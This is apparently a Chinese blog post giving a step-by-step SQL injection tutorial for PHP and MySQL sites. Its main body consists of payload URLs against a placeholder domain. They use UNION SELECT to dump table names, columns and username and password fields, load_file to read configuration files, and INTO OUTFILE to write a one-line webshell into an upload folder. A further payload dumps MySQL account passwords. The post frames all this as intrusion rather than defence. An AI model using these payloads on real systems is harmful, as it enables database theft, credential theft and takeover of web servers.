• php+mysql注入


    1. SQL简单命令介绍:
    2. mysql.exe -u 用户名  -p  密码  -h  ip地址
    3. show databases;查看数据库
    4. select version();php注入下的版本号
    5. use database(表名);
    6. show tables;显示这张表的表名
    7. select * from table;
    8. insert update  等
    9. into outfile '路径'   (导出数据到路径)
    10. select load_file(hex)    查看路径hex编码内容

    注入用到的SQL函数:

    1. version()  版本(这点很重要,决定注入方式)
    2. database()  数据库名    -->知道数据库名,然后用它获取表
    3. user()   当前用户
    4. @@version_compile_os  操作系统

    注入流程:

    1. 判断是否有注入:http:www.cc.com/show.php?id=1
    2. order by来获取列数:比如是5
    3. 然后UNION SELECT来获取信息:http:www.cc.com/show.php?id=1 and 1=2 UNION SELECT  1,2,3,4,5 --(看报错的位置,比如爆出2,3,4,5)
    4. 然后获取版本号、数据库名、当前用户、操作系统等信息;http://www.cc.com/show.php?id=1 UNION SELECT 1,version(),database(),user(),@@version_compile_os --
    5. 然 后爆表名:http://www.cc.com/show.php?id=1 UNION SELECT 1,table_name,4,5 from information_schema.tables where table_schema=hex(数据库名),如果全部爆出表名,那么应该为group_concat(table_name);
    6. 然 后爆列名:http:www.cc.com/show.php?id=1 UNION SELECT 1,2,column_name ,4,5 from information_schema.schema.columns where table_name=hex(表名);全部爆出列名用group_concat(column_name);
    7. 最后爆字段:http:www.cc.com/show.php?id=1 UNION SELECT 1,用户名,3,密码,5 from 表名.

    总结:

      数据库名:

          表名:

            列名:

              最后爆字段:


    权限下注入入侵

    1. 需要root权限或者更高的权限
    2. 查看文件获取相关信息:load_file
    3. 导入导出一句话拿webshell:  into outfile

    获取网站根路径:

    1. 谷歌黑客   site:网址  waring
    2. 文件报错(主要在后面加上单引号什么的错误字符,查看是否报错)
    3. 查看敏感文件: info.php  phpinfo.php  test.php等暴露出的网站php的信息中有网站的根目录

    举例:

    1. 通过上面获取网站根目录:例如 D:/web/www/index.php;
    2. 查看文件获取相关信息:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2, load_file('D:/web/www/index.php'),4,5 --
    3. 查看php中数据库的文件:尝试 conn.php common.php config.php或者通过扫描器爬行有哪些文件,如:http://www.cc.com/conn.php没有报错,但是没有显示信息;
    4. 然后通过http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2,load_file('D:/web/www/con.php'),4,5 --
    5. 注意load_file文件中如果不用单引号,则必须用hex进行编码。
    6. 导出一句话拿webshell:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2, '一句话木马‘,4,5 into outfile 'D:/web/www/manage/upload/img/1.php'(网站路径,这里获取是可以扫描,还是?)
    7. 获取数据库账号和密码:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2,3,password,5 from mysql.user;
  • 相关阅读:
    mySQL安装的时候一直卡在starting server这里解决办法
    编译安装nginx
    用户访问网站原理及流程
    mysql备份及恢复
    sed
    mysql 基础
    nginx优化
    mysql 三种日志
    tr
    date
  • 原文地址:https://www.cnblogs.com/blacksunny/p/5229270.html
Copyright © 2020-2023  润新知